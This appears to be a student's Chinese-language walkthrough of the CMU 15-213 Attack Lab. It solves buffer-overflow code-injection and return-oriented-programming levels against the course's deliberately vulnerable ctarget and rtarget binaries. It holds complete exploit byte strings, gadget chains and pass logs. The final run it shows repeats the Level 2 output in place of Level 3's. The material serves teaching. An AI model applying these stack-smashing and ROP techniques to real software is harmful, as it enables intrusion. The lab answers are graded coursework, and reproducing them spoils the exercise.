Part I
Level 1
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp // 40个字节
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff callq 4017a8 <getbuf> //首先,栈指针减8,把0x401976放入栈中,然后再将%rip值该为0x4017a8。
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 retq
401991: 90 nop
401992: 90 nop
401993: 90 nop
401994: 90 nop
401995: 90 nop
401996: 90 nop
401997: 90 nop
401998: 90 nop
401999: 90 nop
40199a: 90 nop
40199b: 90 nop
40199c: 90 nop
40199d: 90 nop
40199e: 90 nop
40199f: 90 nop
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
思路:touch1的首地址为0x4017c0,由getbuf的汇编代码可知,此函数开辟的栈大小为40字节,故当调用getbuf函数后,不断地输入字符,直到输入40个字符以后,然后再输入c0 17 40即可。
接下来,生成攻击文件:
touch exploit_level1.txt
vim exploit_level1.txt
注意小端存储:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
输入命令:cat exploit_level1.txt | ./hex2raw | ./ctarget -q
执行结果:
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00
Level 2
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 callq 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 callq 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
分析:想要调用touch2,并且要将cookie传入%rdi。
故在调用touch2之前,应该首先执行:mov $0x59b997fa, %rdi
;
然后执行:ret 指令将控制权转移到touch2。
想要生成其对应的机器指令,首先,编写一个名为1.s的汇编文件:
touch 1.s
vim 1.s
将这条汇编指令:
mov $0x59b997fa, %rdi
push $0x4017ec
ret
输入其中,然后保存。使用命令:gcc -c 1.s
生成1.o文件,然后,使用命令:objdump -d 1.o > 1.d
生成可阅读的汇编代码:
1.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec //将touch2的地址压入栈中
c: c3 retq
可见,其对应的机器指令为:
48 c7 c7 fa 97 b9 59
68 ec 17 40 00
c3 。
回顾以下ret指令的执行步骤:1. 弹出栈指针所指向的地址; 2. 跳转到该地址执行指令。
最后,我们需要将getbuf的返回地址修改为这三条指令的开始地址。
使用gdb:
gdb ctarget
b getbuf
stepi //进入getbuf
print /x $rsp //打印getbuf中%rsp的值
获得getbuf的栈地址:0x5561dc78
所以攻击字符如下:
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
将其保存为exploit_level2.txt文件,然后使用命令:cat exploit_level2.txt | ./hex2raw | ./ctarget -q
成功调用touch2:
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
Level 3
000000000040184c <hexmatch>:
40184c: 41 54 push %r12
40184e: 55 push %rbp
40184f: 53 push %rbx
401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp
401854: 41 89 fc mov %edi,%r12d
401857: 48 89 f5 mov %rsi,%rbp
40185a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
401861: 00 00
401863: 48 89 44 24 78 mov %rax,0x78(%rsp)
401868: 31 c0 xor %eax,%eax
40186a: e8 41 f5 ff ff callq 400db0 <random@plt>
40186f: 48 89 c1 mov %rax,%rcx
401872: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx
401879: 0a d7 a3
40187c: 48 f7 ea imul %rdx
40187f: 48 01 ca add %rcx,%rdx
401882: 48 c1 fa 06 sar $0x6,%rdx
401886: 48 89 c8 mov %rcx,%rax
401889: 48 c1 f8 3f sar $0x3f,%rax
40188d: 48 29 c2 sub %rax,%rdx
401890: 48 8d 04 92 lea (%rdx,%rdx,4),%rax
401894: 48 8d 04 80 lea (%rax,%rax,4),%rax
401898: 48 c1 e0 02 shl $0x2,%rax
40189c: 48 29 c1 sub %rax,%rcx
40189f: 48 8d 1c 0c lea (%rsp,%rcx,1),%rbx
4018a3: 45 89 e0 mov %r12d,%r8d
4018a6: b9 e2 30 40 00 mov $0x4030e2,%ecx
4018ab: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx
4018b2: be 01 00 00 00 mov $0x1,%esi
4018b7: 48 89 df mov %rbx,%rdi
4018ba: b8 00 00 00 00 mov $0x0,%eax
4018bf: e8 ac f5 ff ff callq 400e70 <__sprintf_chk@plt>
4018c4: ba 09 00 00 00 mov $0x9,%edx
4018c9: 48 89 de mov %rbx,%rsi
4018cc: 48 89 ef mov %rbp,%rdi
4018cf: e8 cc f3 ff ff callq 400ca0 <strncmp@plt>
4018d4: 85 c0 test %eax,%eax
4018d6: 0f 94 c0 sete %al
4018d9: 0f b6 c0 movzbl %al,%eax
4018dc: 48 8b 74 24 78 mov 0x78(%rsp),%rsi
4018e1: 64 48 33 34 25 28 00 xor %fs:0x28,%rsi
4018e8: 00 00
4018ea: 74 05 je 4018f1 <hexmatch+0xa5>
4018ec: e8 ef f3 ff ff callq 400ce0 <__stack_chk_fail@plt>
4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp
4018f5: 5b pop %rbx
4018f6: 5d pop %rbp
4018f7: 41 5c pop %r12
4018f9: c3 retq
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 38 31 40 00 mov $0x403138,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 52 03 00 00 callq 401c8d <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 60 31 40 00 mov $0x403160,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 f1 03 00 00 callq 401d4f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff callq 400e40 <exit@plt>
分析:要想执行完getbuf后,跳转至touch3,由于touch3的参数类型是char*,所以我们需要在栈中注入cookie的字符表示,以及将其地址传入%rdi,然后将touch3的地址压入栈中,最后ret返回。注意字符串地址的选取,因为当调用hexmatch和strncmp函数时,可能会覆盖我们注入的字符串,所以需要将字符串放入test栈中。
故其汇编代码如下:
mov $0x5561dca8, %rdi
push $0x4018fa
ret
使用与Level 2一样的方式,将其转化为机器指令:
2.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
然后,将cookie的值转化为字符格式:
59 b9 97 fa -> 35 39 62 39 39 37 66 61 00(最后的00表示结束)
且注入代码的首地址:0x5561dc78
所以注入代码如下:
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
成功:
cat exploit_level3.txt | ./hex2raw | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61
Part II
Level 2
此Level是使用ROP继续做Part I的Level 2。
由Part I的Level 2可知,首先我们需要将cookie的值传入%rdi,然后将touch2的地址压入栈中,最后调用retq返回指令,执行touch2。
根据实验文档的提示,我们两个gadgets,它们位于start_farm到mid_farm之间。
我们需要movq(以%rdi)为dst,以及一个push指令,还有一个retq指令。
从start_farm到mid_farm之间的指令有:
000000000040199a <getval_142>:
40199a: b8 fb 78 90 90 mov $0x909078fb,%eax
40199f: c3 retq
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
4019a0: 8d 87
4019a2: 48 89 c7 movq %rax, %rdi
4019a5: c3 retq
4019a6: c3 retq
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
4019a7: 8d 87 51 73
4019ab: 58 pop %rax
4019ac: 90 nop
4019ad: c3 retq
00000000004019ae <setval_237>:
4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
4019b4: c3 retq
00000000004019b5 <setval_424>:
4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
4019bb: c3 retq
00000000004019bc <setval_470>:
4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)
4019c2: c3 retq
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq
经过我们解析指令,发现函数addval_273和函数addval_219可以分为:
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
4019a0: 8d 87
4019a2: 48 89 c7 movq %rax, %rdi
4019a5: c3 retq
4019a6: c3 retq
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
4019a7: 8d 87 51 73
4019ab: 58 pop %rax
4019ac: 90 nop
4019ad: c3 retq
发现这正合我们意。只要把0x4019ab覆盖getbuf的返回地址,然后再将0x59b997fa(cookie)和0x4019a2放于其后面,通过pop %rax
和 movq %rax, %rdi
,正好实现了movq $0x59b997fa, %rdi
。
在此之前,将touch2的地址放于最后面,通过retq,刚好跳转到了touch2。
故经过以上分析,我们可以注入以下字符:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00。
成功:
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
Level 3
官方解决方案需要8个gadget(并非所有gadget都是唯一的)。
Level3的目的是通过ROP完成Part I的level 3。及将cookie转化为字符,并将其地址传入到%rdi中,最后跳转至touch3执行。
由于此次栈地址即%rsp的值是位置的,所以无法直接将cookie的地址传入至%rdi中。这里,利用偏移量来间接得出字符的地址。
总体思路如下:
-
先获取栈顶指针的位置;
-
取出存在栈中的偏移量的值;
-
通过
lea (%rdi, %rsi, 1)
, %rax 得到cookie的地址; -
将cookie的地址传给%rdi;
-
调用touch 3。
第一步:
首先肯定要用:movq %rsp, xxx (即栈顶指针(%rsp)的值赋给一个寄存器);
0000000000401aab <setval_350>:
401aab: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi)
401ab1: c3 retq
401aab: c7 07
401aad: 48 89 e0 movq %rsp, %rax
401ab0: 90 nop
401ab1: c3 retq
正好可以,所以第一个指令为:
movq %rsp, %rax
,地址为0x 40 1a ad。
同时需要使用一个指令将%rax的值传给%rdi,
0000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
4019c3: c7 07
4019c5: 48 89 c7 movq %rax, %rdi
4019c8: 90 nop
4019c9: c3 retq
所以第二个指令为:
movq %rax, %rdi
,地址为0x 40 19 c5。
第二步:
此时栈指针已经往下移了一位,我们正好将偏移量存在此处(我们将在最后一个位置存放字符串),所以要用到:popq xxx,类似指令。
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
4019a7: 8d 87 51 73
4019ab: 58 popq %rax
4019ec: 90 nop
4019ed: c3 retq
正好合意,所以第三个指令为:popq %rax
,地址为0x40 19 ab。
同时,需要一个指令将其传给%rsi,
0000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax
401a17: c3 retq
401a11: 8d 87
401a13: 89 ce movl %ecx, %esi
401a15: 90 nop
401a16: 90 nop
401a17: c3 retq
0000000000401a68 <getval_311>:
401a68: b8 89 d1 08 db mov $0xdb08d189,%eax
401a6d: c3 retq
401a68: b8
401a69: 89 d1 movl %edx, %ecx
401a6b: 08 db orb %bl, %bl
401a6d: c3 retq
00000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax
4019e0: c3 retq
4019db: b8 5c
4019dd: 89 c2 movl %eax, %edx
4019df: 90 nop
4019e0: c3 retq
所以此步骤总共需要三条指令实现:
1. 0x 40 19 dd: 89 c2 movl %eax, %edx
2. 0x 40 1a 69: 89 d1 movl %edx, %ecx
3. 0x 40 1a 13: 89 ce movl %ecx, %esi
第三步:
通过lea (%rdi, %rsi, 1)
, %rax 得到cookie的地址:
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
发现正好有一个函数匹配,所以第七个指令为:
0x40 19 d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
第四步:
将cookie的地址传给%rdi:
0000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
4019c3: c7 07
4019c5: 48 89 c7 movq %rax, %rdi
4019c8: 90 nop
4019c9: c3 retq
所以第八条指令为:
0x 40 19 c5: 48 89 c7 movq %rax, %rdi
第五步:
调用touch 3。
即将touch3的地址弹出。(retq)
和partI的思路一样。
0x401aad: 48 89 e0 movq %rsp, %rax
0x4019c5: 48 89 c7 movq %rax, %rdi
0x4019ab: 58 popq %rax
0x4019dd: 89 c2 movl %eax, %edx
0x401a69: 89 d1 movl %edx, %ecx
0x401a13: 89 ce movl %ecx, %esi
0x4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
0x4019c5: 48 89 c7 movq %rax, %rdi
经过计算,偏移量为72。
总之,注入的字符串为:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
成功:
qiuyong@qiuyong-virtual-machine:~/labs/CMU 15-213/CMU 15-213 labs/Attack Lab/target1$ !c
cat exploit_level2_part2.txt | ./hex2raw | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00